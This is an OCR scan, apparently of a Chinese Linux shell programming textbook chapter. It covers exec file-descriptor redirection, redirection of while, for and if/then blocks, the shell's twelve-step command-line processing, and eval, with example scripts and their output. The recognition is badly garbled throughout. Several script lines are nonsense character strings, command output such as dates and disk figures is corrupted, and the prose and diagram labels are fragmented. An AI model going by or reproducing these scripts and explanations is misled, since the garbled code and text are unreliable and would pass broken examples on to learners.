Blee nes ners ene #read 命令 从 键盘 读 取 数 据 ， 说 明 FD 0 已 恢复 到 键盘 输入 
CAICAI 


[root@jselab shell-book]# 
下 面 的 例 10-24 说 明 exec 将 标准 输出 
如 下 : 


# 例 10-24: execout .sh 脚本 将 stqout 重 定 向 到 文件 
#!/bin/bash 





[ll 


定向 到 文件 ， 新 建 名 为 execout.sh 的 脚本 ， 内 容 


























#FD 8 是 FD 1《〈 即 标准 输出 ) 的 副本 ， 用 于 恢复 FD 1 














eee >81 # 符 号 与 execin .out 中 略 有 不 同 
S00 19 # 将 标准 输出 重 定 向 到 loggg 











# 执 行 date 和 df 命令 ， 测 试 输出 是 否 写 入 1oggg 文件 
echo "Output of date command™ 

date 

eeheo omeve or eommane 

加 在 





# 0<&8: 将 FD 8 复制 到 FD 0，FD 8 是 原来 的 标准 输出 ，FD 0 从 FD 8 中 恢复 原状 
#8<&-: 关闭 FD 8， 其 他 进程 可 以 重复 使 用 FD 8 

# 这 条 命令 与 execin.out 中 原理 相同 ， 只 是 将 <& 改 为 了 >& 

exec 1>&8 8>&- 





















































# 再 次 执行 daate 和 df 命令 ， 测 试 标准 输出 是 否 恢复 原状 
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CGO ey 
echo "Output of date command"™ 

date 

echo "Output of df command" 

Els 


execout.sh 脚本 的 思路 类 似 于 execin.sh 脚本 ， 先 将 标准 输出 FD 1 复制 到 FD 8， 




















命令 与 














复制 FD 0 时 类 似 , 只 是 符号 变 成 了 >&&。execout.sh 脚本 


大 A Ar II 


符号 等 价 于 1> 符 号 ， 


再 将 标 























execout.sh 脚本 将 FD 8 复制 给 FD 1， 使 FD 1 恢复 原状 ， 
date 和 df 命令 ， 从 下 面 execout.sh 脚本 的 执行 结果 可 以 看 出 ， 
出 到 屏幕 ， 这 说 明 标准 输出 恢复 原状 了 。 


# 例 10-24 execout .sh 脚本 的 执行 结果 
[root@zawu shell 


























-program]# chmod u+x execout.sh 





[root@zawu shell-program]# ./execout.sh 


# 下 面 是 将 标准 输 





Output of date command 
20104 605 月 25 旧 星 放 三 
Output of df command 











OF A CST 














文件 系统 1K- 块 已 用 可 用 己 用 % 挂 载 点 
/dev/sda3 Gl 4043100 Lra2edo TO 7 
/dev/sdal 99150 T3533 a0A07 /eect 
tmpfs 501764 0 501764 0% /dev/shm 
[root@zawu shell-program]# cat loggg # 将 标准 输出 重 定 问 





Output of date command 
2010 4 0 E25 到 E 
Output of df command 











OF IA 














全 1K- 块 已 用 可 用 已 用 s 挂 载 点 
/dev/sda3 Gli375l2 A0900 "1782632 70%7 
/dev/sdal 99150 19593 80497 15% /boot 
tmpfs 501764 0 501764 0% /dev/shm 


You have new mail in /var/spool/mail/root 
[root@zawu shell-program]# 


例 10-23 和 例 10-24 的 两 个 例子 涉及 不 同 FD 文件 间 的 复 















































我 们 将 所 有 的 高 级 IO 重 定向 符号 及 
表 10-4 


其 意义 列 于 表 10-4 中 。 





然后 执行 date 和 df 命令 ， 从 下 面 execout.sh 脚本 的 执行 
此 时 date 和 df 命令 不 在 屏幕 上 打印 任何 内 容 ， 而 将 输出 的 结果 写 入 了 loggg 文件 。 接 着 ， 
并 关闭 FD 8 文件 ， 然 后 ， 


出 恢复 原状 后 的 输出 


i: 准 输出 [| 重 定向 到 loggg 文件 ， > 
结果 可 以 看 出 ， 






































再 次 执行 
此 时 ， 上 述 两 条 命令 的 结果 输 

















到 loggg 后 的 输出 


制 、 关 闭 FPD、 将 标准 输入 和 标 

















准 输 出 重 定向 到 文件 等 操作 ， 这 些 操作 的 符号 就 是 上 一 节 未 曾 讲 述 的 高 级 IO 重 定向 符号 ， 





将 FD 为 mm 的 输出 复制 到 FD 为 n 的 文件 








将 FD 为 m 的 输入 复制 到 FD 为 n 的 文件 








关闭 FD 为 n 的 输出 





关闭 FD 为 n 的 输入 











&>file 将 标准 输出 和 标准 错误 输出 重 定向 到 文件 



































&>file 可 以 同时 将 标准 输出 和 标准 错误 输出 重 定 向 到 文件 
的 用 法 ， 新 建 名 为 execerr.sh 的 脚本 ， 内 容 如 下 : 
































, 下面 的 例 10-25 说 明了 &>file 
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例 10-25: execerr.sh 脚本 将 stdout 和 stderr 重 定向 到 文件 
!/bin/bash 








将 FD 1〔 即 标准 输出 复制 到 FD 8，FD 2〔 即 标准 错误 输 
exec 8>&1 9>&2 


出 ) 复制 到 FD 9 





将 标准 输出 和 标准 错误 输 则 


exec &> loggg 








a 
四 


重 定向 到 1oggg 文件 


























执行 1s z* 和 date 命令 ， 测 试 输出 和 错误 输出 是 否 写 入 loggg 文件 
SZ # 出 现 错误 输出 
date 

















恢复 标准 输出 和 标准 错误 和 输出， 并 关闭 FD 8 和 FD 9 


exec 1>&8 2>&9 8<&- 9<&- 





























再 次 执行 1s z* 和 date 命令 ， 测 试 输出 和 错误 输出 是 否 恢复 原状 
SENe = 小 

eehe elose Epoe andeosy 

hs 

date 


execerr.sh 脚本 开启 两 个 FPD， 分 别 用 于 保存 FD 1 和 FD 2， 即 保存 标准 输出 和 标准 错误 
输出 。execerr.sh 脚本 用 &> 符 号 同时 将 标准 输出 和 标准 错误 输出 重 定向 到 loggg 文件 , 然后 执 
行 ls zx 和 date 命令 ， 测 试 输 出 和 错误 输出 是 否 写 入 loggg 文件 ， 由 于 当前 目录 下 没有 以 z 开 
头 的 文件 ， 因 此 ，1s z* 将 产生 错误 ， 而 date 命令 产生 的 输出 ， 从 execerr.sh 脚本 的 执行 结 
可 以 看 出 ，loggg 文件 既 能 够 保存 由 ls 命令 输出 的 错误 信息 ， 又 能 够 保存 由 date 命令 输出 
的 正常 输出 ， 可 见 ，> 儿 确实 可 以 同时 重 定向 标准 输出 和 标准 错误 输出 。 接 着 ，execerrsh 脚 
本 利用 FD 8 和 FD 9 恢复 FD 1 和 FD 2， 然 后 再 次 执行 ls z* 和 date 命令 ， 测 试 标 准 输出 和 标 
准 错误 输出 是 否 恢 复原 状 从 execerrsh 脚本 也 可 看 出 ，exec 命令 可 以 对 多 个 IO 重 定向 符号 
进行 操作 ， 如 exec 1>&8 2>&9 8<&- 9<&- 命 令 同 时 实现 了 4 个 FD 操作 。 


例 10-25 execerz.sh 脚本 的 执行 结果 
root@jselab shell-book]# chmod u+x execerr.sh 





































































































































































































root@jselab shell-book]# ./execerr.sh 


Close ED andno: 

ls: 无 法 访问 z*: 没有 那个 文件 或 目录 

2010 告 05 月 23 目 旺 注 是 T3324:10 Cer 

reoteyselab snell soorlt cac loa #1loggg 文件 既 保 存 stderz， 又 保存 stdin 
1s: 无 法 访问 z*: 没有 那个 文件 或 目录 

OO 05 2 EE :A OS 

root@jselab shell-book]# 


10.2.4 代码 块 重 定向 


代码 块 重 定向 是 指 在 代码 块 内 将 标准 输入 或 标准 输出 重 定向 到 文件 ， 而 在 代码 块 之 外 还 
是 保留 默认 状态 ， 换 句 话 说， 代码 块 重 定向 是 指 对 标准 输入 或 标准 输出 的 重 定向 只 在 代码 块 
内 有 效 。 可 以 重 定向 的 代码 块 可 以 是 while、until、for 等 循环 结构 ， 也 可 以 是 if/then 测试 结 
构 ， 甚 至 可 以 是 函数 。 代 码 块 输入 重 定向 符号 是 <， 输 出 重 定向 符号 是 >。 本 节 举 几 个 例子 说 
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明 上 述 两 个 符号 在 代码 块 重 定向 中 的 用 法 。 
首先 ， 我 们 介绍 while 循环 的 重 定向 ， 新 建 名 为 rewhile.sh 的 脚本 ， 内 容 如 下 : 
籽 本 演示 while 循环 的 重 定向 

















while ll 


do 





侈 10-26: rewhile.sh 
!/pin/bash 


将 1s /etc 的 结果 写 到 loggg 文件 中 
Ws /ee oo 


et 





























wenmleanamaew Us Wace | 


按 行 读 取 loggg 内 容 
read filename 


meowumnteei 


genme lieoggg 


echo “$count times read™ 





# 测 试 循环 体外 面 的 标准 输入 是 否 被 重 定向 
































搜索 1oggg 文件 中 与 rc .a 所 匹配 的 行 ， 输 出 匹配 行 的 行 数 





# 当 不 匹配 时 ， 执 行 while 循环 体 





# 将 标准 输入 好 


定向 到 loggg 文件 





Seheoe ne = 三 三 三 三 三 出 

read test 

echo $test 

rewhile.sh 脚本 首先 将 ls /etc 的 结果 写 到 loggg 文件 


下 的 所 有 文件 名 ，rewhile.sh 觅 


行 数 ， 




















号 将 标准 输入 重 定向 到 loggg 文件 























变量 中 ，while 循环 测试 条 件 判 断 flename 变量 的 值 








[本 需要 查找 loggg 文件 
为 此 ，rewhile.sh 脚本 使 用 了 while 循环 ， 该 循环 在 结 
然后 用 read 命令 按 行 读 取 loggg 内 容 ， 保 存在 filename 


三 | i- 
是 否 等 了 


PP, loggg 文件 中 按 行 保存 了 /etc 
与 rc.d 所 匹配 的 行 ， 并 输 

















目录 
出 匹配 行 的 















































尾 处 done 关键 字 的 后 面 利 用 < 符 

















关键 字 rc.d4， 若 该 测试 条 件 不 满 


足 ， 则 继续 读 取 下 一 行 ， 计 数 器 count 增加 1， 一 旦 测试 条 件 满足 ， 则 跳出 while 循环 ， 输 出 


count 变量 值 。rewhile.sh 脚本 还 对 while 4 


execerr.sh 用 


循环 体外 面 的 标准 输入 依然 是 默认 的 状态 ， 即 从 键 
例 10-26 rewhile.sh 脚本 的 执行 结果 





























88 times read 
===== ‘21a, nawe Deral=====CEeal 
Sareead 


root@zawu shell-program]# 


用 until 循环 也 可 以 实现 与 rewhile.sh 脚本 同样 的 功能 。 限 于 篇 幅 ， 我 们 在 本 章 上 机 提议 
第 6 题 给 出 reuntil.sh 脚本 ， 建 议 读者 将 rewhile.sh 脚本 和 reuntil.sh 肢 


行 reuntil.sh 脚本 。 











refor.sh 
# 例 





的 脚本 ， 内 容 如 下 : 











root@zawu shell-program]# chmod ut+x rewhile.sh 


root@zawu shell-program]# ./rewhile.sh 


盾 环 体外 面 的 标准 输入 进行 了 测试 。 下 面 给 出 
本 的 执行 结果 : count 变量 值 等 于 188, 这 说 明 loggg 文件 的 第 188 行 与 rc.d 匹配 ， 
得 读 取 输入 数据 。 


























#1loggg 文件 的 第 188 行 与 rc.d 匹配 
# 循 环 体外 面 的 stdin 依然 从 键盘 读 取 数 据 





0-27: tefor.sh 脚本 演示 for 循环 的 重 定向 




















比较 ， 并 运 














本 进行 仔 





下 面 的 例 10-27 利用 for 循环 的 重 定向 实现 对 loggg 文件 rc.d 关键 字 的 查找 ， 新 建 名 为 








#!/bin/bash 








ls /etc 的 结果 写 到 loggg 文件 中 





# 将 
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SEO99 


计算 loggg 文件 的 最 大 行 数 ， 并 赋 给 maxline 变量 

这 是 与 while 和 until 循环 最 大 的 区 别 

灵活 运用 了 输入 重 定向 符号 <， 类 似 用 法 可 以 参见 例 10-26 的 例子 
maxline=$ (wc -1 < loggg) 














搜索 1oggg 文件 中 与 rc .a 所 匹配 的 行 ， 输 出 匹配 行 的 行 数 








下 # 利 用 seg 命令 产生 循环 参数 
do 
read filename # 按 行 读 取 loggg 中 的 数据 





#for 循环 中 需要 有 if 语句 指定 跳出 循环 的 条 件 
TE Vn lama Ss vie 0 |] 
then 
break 








else 

et eounte r= 
在于 
done < loggg # 将 标准 输入 重 定向 到 loggg 文件 








echo “$count times read™ 











# 测 试 循环 体外 面 的 标准 输入 是 否 被 重 定 问 

eehes ne 三 六 
read test 

echo $test 


refor.sh 脚本 同样 首先 将 ls /etc 的 结果 写 到 loggg 文件 中 , loggg 作为 搜索 的 目标 文件 ,为 
了 限定 for 循环 的 最 大 次 数 ， 需 要 计算 loggg 文件 的 最 大 行 数 ， 并 赋 给 maxline 变量 ， 计 算 方 
法 灵活 运用 了 输入 重 定 问 符 号 <，1loggg 作为 we -l 命令 的 输入 ， 将 计算 所 得 的 行 数 赋 给 
maxline 。for 循环 使 用 命令 替换 ， 反 引号 中 是 seq 命令 产生 数字 序列 作为 for 循环 的 次 数 ， 实 
际 上 ，for filename in "seq $maxline` 相 当 于 for filename in 1,2,3,...,maxline， 使 用 命令 替换 后 使 
得 for 循环 显得 十 分 简洁 。for 循环 在 结尾 处 done 关键 字 的 后 面 利用 < 符号 将 标准 输入 重 定向 
到 loggg 文件 ,然后 用 read 命令 按 行 读 取 loggg 内 容 ,保存 在 flename 变量 中 , 循环 体 中 if/then 
结构 判断 filename 变量 的 值 是 否 等 于 关键 字 rc.d, 若 匹 配 , 则 跳出 for 循环 , 否则 计数 器 count 
增加 1。reforsh 脚本 最 后 同样 对 for 循环 体外 面 的 标准 输入 进行 了 测试 。 下 面 给 出 refor.sh 脚 
本 的 执行 结果 ， 与 rewhile.sh 脚本 的 执行 结果 完全 一 样 。 
例 10-27 refor.sh 脚本 的 执行 结果 
root@jselab shell-book]# chmod utx refor.sh 


root@jselab shell-book]# ./refor.sh # 得 到 与 rewhile. sh 一样 的 结果 
88 times read 







































































































































































二 一 一 一 一 ES 
区 age = 
root@jselab shell-book]# 


if/then 结构 也 可 将 标准 输入 重 定 同 到 文件 ， 它 的 命令 格式 如 下 (注意 : 重负 
在 下 关键 字 后 面 的 ): 

Te ere 

then 




















眶 
讨 
可 
Ee 
由 
入 
[ou 
洲 
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else 


fi < filename 











尺码 块 的 输出 重 定向 与 输入 重 定 向 类 似 ， 它 只 是 
改 成 输出 重 定 向 符号 >。 下 面 以 这 then 结构 的 输出 重 定向 为 例 ， 来 说 明代 码 块 输出 重 定向 的 


用 法 ， 新 建 名 为 reifsh 的 脚本 ， 内 容 如 下 : 


!/bin/bash 














ellN 


if/then 结构 的 输 
1if [ 二 过 Wn ] 
then 


el 


重 定向 到 loggg 文件 





echo "Positional Parameter is NULL™" 


ee 





# 测 试 i£/then 结构 之 外 的 标准 输出 是 否 被 重 定向 
eenod 二 二 二 二 二 Normnelsstdouter = 

















reifsh 脚本 将 这 then 结构 的 输出 重 定向 到 loggg 文人 
是 否 为 室 ， 如 果 $1 为 空 ， 打印“Positional Parameteris NULL”, 
向 到 loggg 文件 ， 因 此 ， 这 人 句 话 将 写 入 loggg 文件 。reifsh 脚本 还 对 ibthen 结构 之 外 的 标准 输出 
是 否 被 重 定 癌 进行 了 测试 。 下 面 给 出 reif.sh 脚本 的 执行 结果 ， 执 行 reiftsh， 且 不 带 任何 参数 ， 医 
此 , 位 置 参数 $1 为 空 , if/then 结构 内 的 输 


















































而 ifthen 结构 之 外 的 测试 语句 则 正常 输出 到 屏幕 ;这 说 明 输出 重 定 


例 10-28 reif.sh 脚本 的 执行 结果 


Positional Parameter is NULL 
root@jselab shell-book]# 




















码 很 方便 地 处 理 一 个 文件 (只 要 将 该 文件 输入 是 
结合 代码 块 重 定向 实现 文本 处 理 的 一 个 实例 。 


























0 由 命名 行 处 理 

















例 10-28: reif.sh 脚本 演示 if/then 结构 的 输出 重 定向 


# 如 果 位 置 参数 $1 为 空 








将 该 代码 块 内 的 输出 写 入 文件 中 ， 符 号 


# 将 标准 输出 重 定向 到 loggg 文件 























时 写 入 了 loggg 文件 ,这 说 


root@jselab shell-book]# chmod ut+x reif.sh 
root@jselab shell-book]# ./reif.sh 
=====s=s Dl en Selon 
root@jselab shell-book]# cat loggg 


#if/then 结构 外 面 ， 标 准 和 输出 





#if/then 结构 内 输出 














至 


明 输 日 
向 只 对 代码 块 内 有 效 。 








| loggg 文件 


中 也 
中 


F，if/then 结构 的 测试 条 件 是 位 置 参数 $1 
于 这 then 结构 的 输出 将 被 重 定 
































E 定 向 确实 起 了 作用 。 





ny 














尺码 块 重 定向 在 一 定 程度 上 增强 了 Shell 脚本 处 理 文本 文件 的 灵活 性 ， 它 可 以 让 一 段 代 
EE 定向 到 该 代码 块 )。 本 书 第 17 章 将 介绍 一 个 





站 


-WW 





前 面 章 节 介 绍 了 大 量 的 Shell 命令 ， 我 们 也 看 到 了 Shell 如 何 读 取 输 入 数据 ， 如 何 处 理 单 

















引号 、 双 引号 、 反 引号 等 符号， 以 及 如 何 根 据 环境 变量 IFS 将 命 
些 都 是 由 Shell 自动 完成 的 ， 我 们 称 之 为 命令 行 处 理 。 命 令 行 处 至 
本 方 从 Shell 程序 设计 人 员 的 角度 六 
































10.3.1 ”命令 行 处 理 流 程 

















# 细 介绍 命令 行 处 





























的 内 在 机 舍 


令 行 分 割 成 字符 ， 所 有 的 这 


日 地 全 x 


E 克 牙 








|。 


Shell 从 标准 输入 或 脚本 读 取 的 每 一 行 称 为 管道 (pipeline), 每 一 行 


从 清远 见 


HQYJ.C 
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集团 ' 











于 Shell 编程 的 全 部 ， 
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，Shell 对 每 一 个 读 取 的 


丙 

















将 命令 行 分 割 成 令 牌 token) 


语法 错误 






检查 第 
别名 、 非 别名 





个 信条 





波浪 号 展开 


使 命令 参数 成 为 下 一 条 命令 


命令 查找 : 函数 、 内 建 命令 、 
可 执行 文件 


10-6 ” 命 合 行 处 理 的 流程 





命令 行 处 理 流程 共有 12 个 步 又 ， 




















1) 将 命令 分 割 成 令 脏 
Tab 键 、 换 行 字符 、 
符 (>)、 管 道 符 (|) 和 及 符号 。 





分 号 〈;)、 辆 括号 、 





















































(token)， 令 有 牌 之 间 以 元 字符 分 隔 ，Shell 的 元 字符 











道 都 按照 图 10-6 给 出 的 流程 进行 处 理 








o 


图 10-6 已 将 这 12 个 步骤 标 出 ， 下 面 我 们 依次 解释 这 


合 是 固定 不 


输入 重 定向 符 <)、 输 出 重 定向 




















令 牌 可 以 是 单词 (word)、 关 键 字 ， 也 可 以 是 IO 重 定 向 器 和 
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2) 检查 命令 行 的 第 一 个 令 用 








逐个 比较 ， 如 果 

















if、while、for 





















































的 首位 。 


是 否 为 不 带 引 号 或 反 斜 杠 的 关键 字 , 如 果 此 令 牌 是 开放 关键 
结构 中 的 开始 符号 ， 
再 次 启动 进程 。 如 果 此 令 牌 不 是 复 

等 符号 ， 这 说 明 该 令 牌 不 应 该 处 在 


或 其 他 控制 


合 命 令 进行 内 部 设置 ， 读 取 下 一 
如 该 令 牌 是 then、else、do、 五 、done 匀 
因此 ，Shell 提示 语法 错误 信息 。 






































3) 检查 命令 行 的 第 一 个 令 牌 是 


























关键 字 的 别名 when。 


的 是 ， 此 时 不 





是 ， 


的 。 命 


alias when=while 


4) 执行 花 括 号 
5) 将 单词 开头 处 的 波浪 号 (~ 
6) 将 任何 开头 为 $ 名 
7) 将 反 引 号 内 的 表达 式 执 行 
8) 将 $(Gstring)) 的 表达 式 进 和 








展开 ， 比 如 hfa,i}t 




















) 替换 成 





命令 替换 。 


J 算术 运算 。 





9) 从 变量 、 命 令 和 算术 蕉 换 的 结果 中 取出 命 



































用 元 字符 分 隔 单 词 ， 而 是 使 




















10) 对于、?、[...] 等 符号 ， 
11) 将 第 一 个 单词 作为 命令 ， 














条 命 令 ， 


方 令 行 ， 
和 $IFS 分 隔 单词 。 




















Shell 就 认为 此 


个 人 公 旦 
命令 是 复合 























否 为 某 命 令 的 别名 ， 这 需要 将 此 令 牌 与 别名 (alias) 列表 
返回 步骤 1)， 否 则 进入 步骤 
别名 ， 比 如 ， 可 以 用 下 面 的 命令 定义 while 


匹配 ， 说 明 该 令 牌 是 别名 ， 则 将 该 令 牌 蔡 换 掉 ， 
4)。 这 种 机 制 允许 别名 递归 ， 也 允许 定义 关键 字 


展开 为 hat 或 hit。 
用 户 的 根 目录 $HOME。 
村 号 的 表达 式 执 行 变 量 替 换 。 






































于 次 进行 单词 切 分 。 


与 步骤 1) 不 同 
































执行 通配符 展 




















12) 在 完成 IO 重 定向 与 
命令 行 处 理 ; 























步骤 是 


























命令 行 处 理 步 




















来 说 明 Shell 是 如 何 处 理 一 个 命令 和 

































































行 的 ， 假 设 我 们 在 /root 目录 下 输 































































































一 

















， 生 成 文件 名 。 
它 可 以 是 函数 、 内 建 命令 和 可 执行 文人 
其 他 类 似 事项 后 ， 执 行 命令 。 
Shell 自动 完成 的 ”用 户 不 能 清晰 地 看 到 Shell 完成 的 每 一 个 步 又， 但 
对 于 一 个 需要 深入 理解 Shell 程序 的 人 来 说 ， 是 有 必 
又 看 起 来 有 点 复杂 ， 为 了 便于 读者 理解 命令 行 处 理 步 


ee 


iT 





o 





J 是 如 何 被 转换 
， 下 面 我 们 举 一 个 例子 








es 






































echo ~/i* $PWD ‘echo Yahoo Hadop. $((21*20)) > output 

Shell 处 理 此 命令 行 的 步骤 如 下 : 

1) Shell 首先 将 命令 行 分 割 成 令 牌 ， 分 割 成 的 令 牌 如 下 《我 们 在 命令 行 下 方 用 数字 标 出 
各 个 令 牌 ); 

echo ~/i* $PWD ‘echo Yahoo Hadop. $((21*20)) 

[三 | 三 | 三 = 三 三 三 由 | 三 = 三 三 三 三 三 三 三 三 = 三 三 三 = 三 三 三 = 三 三 三 ssss := 三 == | 

需要 注意 的 是 ， 重 定向 >output 虽 已 被 识别 ， 但 是 它 不 是 令 牌 ，Shell 将 在 后 面 对 IO 重 
定向 进行 处 理 。 

2) 检查 第 一 个 单词 echo 是 否 为 关键 字 ，echo 显然 不 是 开放 关键 字 ， 所 以 ， 命 令 行 继续 
下 面 的 判断 。 

3) 检查 第 一 个 单词 echo 是 否 为 别名 ，echo 不 是 别名 ， 命 令 行 继续 往 下 处 理 。 

4) 扫描 命令 行 是 否 需要 花 括号 展开 ， 这 条 命令 没有 人 花 括号 ， 命 令 行 继续 往 下 处 理 。 

5) 扫描 命令 行 是 否 需 要 波浪 号 展开 , 命令 行 中 存在 波浪 号 , 令 牌 2 将 被 修改 , 命令 行 变 
为 如 下 形式 : 


echo /root/i* $PWD 


“echo Yahoo Hadop™ $( 


而 
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I==1=ll==s==2e=3) |==3===| I=====323s 4 和 = 三 = 三 三 三 三 三 二 = 三 三 中 | 司 三 == 号 = 三 = 三 = 

6) 扫描 命令 行 中 是 否 存在 变量 ， 若 存在 变量 ， 则 进行 变量 替换 ， 该 命令 行 中 存在 环境 变 
量 PWD。 因 此 ， 令 牌 3 将 被 修改 ， 命 令 行 变 为 如 下 形式 : 

Scene 本 年 So /oo ecno vanoonnados 0 (021 20)) 

[==1=====2==| ==3= 小 小 ====333 4 三 = 三 三 三 三 二 三 | lsas3s 六 = 三 三 三 = 


7) 扫描 命 令 行 中 是 否 存 在 反 引 号 ， 知 存在 ， 则 进行 命令 替换 ， 该 命令 行 存在 命令 替换 ， 
因此 ， 念 牌 4 将 被 修改 ， 命 令 行 变 为 如 下 形式 ; 

echo /root/i* /root Yahoo Hadop $((21*20)) 

性 几 性交 二 本 LE 三 3EILEEEEE 二 4 三 二 二 图 性 = = 三 局 = 二 三 三 


8) 执行 命令 行 中 的 算术 蔡 换 ， 令 牌 5 将 被 修改 ， 命 令 行 变 为 如 下 形式 : 
Scene 本 人 Se 世 古装 生 oo ran ad A 
性 = 二 册 必 二 几 旨 | 三 二 和 到 外 和 三 二 二 二 二 二 和 3 


9) Shell 将 对 前 面 所 有 展开 所 产生 的 结果 进行 再 次 扫描 ， 依 据 $IFS 变量 值 对 结果 进行 单 
词 分 制 ， 形 成 如 下 形式 的 新 命令 行 : 

eeno/roo/i /oo encodadore a20 

|Sss 4s | sass | sass sssSssl sssl 

由 于 $IFS 是 空格 ， 因 此 ， 命 令 行 被 分 割 为 6 个 令 牌 ，Yahoo Hadop 被 分 成 两 个 令 牌 。 

10) 扫描 命令 行 中 的 通配符 ， 并 展开 ， 该 命令 行 中 存在 通配符 *， 展 开 后 ， 命 令 行 变 为 如 
下 形式 : 


eehe reo iineolrecec nn /roo sam lo noonseal or yl roo rn 20 
| 三 Ss 2 | Ci 由 4 I ls=2sl 
=se=s) 站 三 三 三 三 | 让 三 和 

六 展开 为 当前 目录 下 所 有 以 i 开头 的 文件 ， 该 目录 下 有 三 个 以 i 开头 的 文件 : 
install.log 和 install.log.syslog， 因 此 , 令 牌 2 又 被 分 为 令 牌 2、3 和 4。 

11) 此 时 ，Shell 已 经 准备 执行 命令 了 5 它 寻 找 echo，echo 是 内 建 命令 。 

12) Shell 执行 echo 命令 ， 此 时 执行 >output 的 IO 重 定向 ， 再 调用 echo 命令 ， 显 示 最 后 
的 参数 ， 执 行 结果 如 例 10-29 所 示 。 

# 例 10-29: 命令 的 执行 结果 

[root@jselab ~]# echo ~/i* $PWD ‘echo Yahoo Hadoop. $((21*20)) > output 

leoote selas | caGouteue 


Weoley ins ea oo al lo oo venooniadoo 2 
[root@jselab ~]# 


我 们 再 看 图 10-6 右边 的 三 个 跳 转 箭 头 ， 从 第 1 步 跳 转 到 第 11 步 的 箭头 上 标注 的 是 单 引 
号 ， 从 第 1 步 跳 转 到 第 6 步 和 第 8 步 跳 转 到 第 11 步 的 箭头 上 标注 的 是 双 引 号 ， 因 此 ， 从 这 个 
角度 来 看 ， 引 用 是 一 种 使 Shell 在 上 述 12 个 步骤 中 跳 转 的 方法 。 单 引号 内 所 有 的 字符 都 按照 
字面 意思 被 解析 ， 因 此 ，Shell 无 须 再 进行 第 3 一 10 步 的 处 理 。 而 双 引 号 内 允许 变量 替换 、 命 
令 奉 换 和 算术 和 运算， 所以， 第 6 一 8 步 双 引号 是 无 法 忽略 的 。 
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indirect.sh、 




















































































































六 




































































10.3.2 eval 命 合 


图 10-6 的 左 侧 跳 转 箭头 从 执行 命令 步骤 跳 转 到 初始 步骤 ， 这 正 是 eval 命令 的 作用 。eval 
命令 将 其 参数 作为 命令 行 ， 让 Shell 重新 执行 该 命令 行 ，eval 的 参数 再 次 经 过 Shell 命令 行 处 
理 的 12 个 步骤 。 

eval 在 处 理 简 单 命令 时 ， 与 直接 执行 该 命令 无 区 别 ， 请 看 下 面 的 例 10-30， 用 eval 处 理 
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变量 值 的 操作 与 直接 用 echo 显示 变量 值 的 效果 是 相同 的 。 





























例 10-30: eval 执行 简单 命令 

root@jselab ~ varl=BLACK 

root@jselab ~]# eval echo $varl # 对 于 简单 命令 ， 是 否 用 eval 的 效果 是 一 样 的 
BLACK 

root@ jselab ~ echo $varl 
BLACK 

root@jselab ~ 


























例 10-30 中 是 否 用 eval 的 效果 一 样 ， 主 要 是 因为 例子 中 的 变量 很 简单 ， 如 果 我 们 将 变量 赋 
特殊 值 ， 那 么 eval 的 效果 就 会 显现 出 来 了 。 请 看 例 10-31， 例 中 第 1 条 命令 将 pipe 变量 赋 
道 符 ， 第 2 条 命令 预期 的 目的 是 将 当前 目录 下 的 文件 列 出 来 ， 再 通过 管道 发 送 给 wc -! 命 
统计 行 数 ， 中 间 的 管道 符 引 用 了 pipe 变量 ， 但 是 ， 执 行 第 2 条 命令 出 现 语法 错误 ， 提 示 名 
|” 和 “wc” 的 文件 或 目录 不 存在 ， 原 因 在 于 : Shell 在 处 理 ls $pipe wc -! 命令 行 时 ， 第 1 
没有 发 现 有 管道 符 , 直到 第 6 步 变量 蔡 换 之 后 ,命令 行 才 变 成 ls| wc -1, 第 9 步 根据 $IFS 

































































































































































变量 
为 1s 
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命令 















































将 命令 行 重新 分 割 成 4 个 令 牌 ， 第 11 步 将 ls 当做 命令 ， 后 面 的 3 个 令 脾 |、wc 和 -1 被 解析 
命令 的 参数 ， 由 于 该 目录 下 没有 | 和 we 等 文件 或 目录 二 因此 ，Shell 报 语法 错误 。 第 3 条 
企 第 2 条 命令 之 前 使 用 eval 命令 , 得 到 了 预期 的 结果 ， Shell 对 eval ls $pipe we -1 命令 行 第 


CH 





















































1 轮 的 处 理 与 ls $pipe wc -1 一 样 ， 得 到 ls | we -1 命令 行 ， 由 于 eval 命令 的 作用 , ls | wc -1 命令 行 


村 
计 出 
































新 提交 到 Shell，Shell 在 第 1 步 以 元 字符 对 ls | we -1 命令 行进 行 令 牌 分 割 ， 管 道 符 属于 元 
，Shell 成 功 地 将 此 命令 行 解释 为 两 个 命令 ， 并 且 中 间 用 管道 符 连 接 ， 从 而 用 wc -1 命令 统 
ls 命令 结果 的 行 数 。 

例 10-31: eval 执行 复杂 命令 

root@jselab ~]# pipe="|" 

第 1 条 命令 : piple 变量 的 值 是 管道 符 

第 2 条 命令 : Shel1l 将 $pipe 和 wc 看 做 1s 命令 的 参数 ， 出 现 语法 错误 

root@jselab ~]# ls $pipe wc -1 

1s: 无 法 访问 | : 没有 那个 文件 或 目录 

1s: 无 法 访问 wc: 没有 那个 文件 或 目录 

第 3 条 命令 : eval 使 $pipe 被 解析 为 管道 符 ， 命 令 行 得 以 正确 执行 

root@jselab ~]# eval ls $pipe wc -1 

2 加 

root@jselab ~]# 


从 例 10-31 中 ， 读 者 应 该 知道 eval 命令 所 起 的 作用 。 事 实 上 ， 如 果 变 量 中 包含 任何 需要 






















































































Shell 直接 在 命令 中 看 到 的 字符 ， 就 需要 使 用 eval 命令 。 命 令 结束 符 (;，|， 肪 )、1/O 重 定向 


符 


节 的 


未 最 








<,>) 和 引号 这 些 对 Shell 具有 特殊 意义 的 符号 ， 必 须 直 接 出 现在 命令 行 中 。 

下 面 再 举 几 个 eval 命令 的 例子 ， 例 10-32 的 脚本 用 于 显示 最 后 一 个 输入 参数 ， 从 6.1.4 
介绍 我 们 知道 ， 脚 本 利用 位 置 参 数 从 命令 行 接受 参数 ， 哮 符号 表示 输入 参数 的 数目 ， 显 
后 一 个 输入 参数 实际 上 就 是 显示 第 4# 个 参数 ， 新 建 名 为 evalpos.sh 的 脚本 ， 内 容 如 下 : 


# 例 10-32: evalpos .sh 脚本 显示 最 后 一 个 输入 参数 
#!/bin/bash 






















































































echo "The number of arguments passed to this script:$#" 
echo -=n “The Jast argument is:™ 
eval echo \$$# 用 eval 显示 最 后 一 个 输入 参数 


evalpos.sh 脚本 的 核心 代码 是 最 后 一 句 : eval echo \$$#，Shell 在 第 1 轮 扫描 该 命令 行 时 ， 

























































































竺 请 远见 华 清 远 见 教育 集团 官网 : www. hqyj. com 


《Linux Shell 编程 从 初学 到 精通 》 














反 和 斜 枉 使 紧 跟 其 后 的 $ 被 转 义 ， 即 用 $ 符 号 本 身 代 替 了 \， 在 第 6 步 进行 变量 替换 时 ，Shell 用 
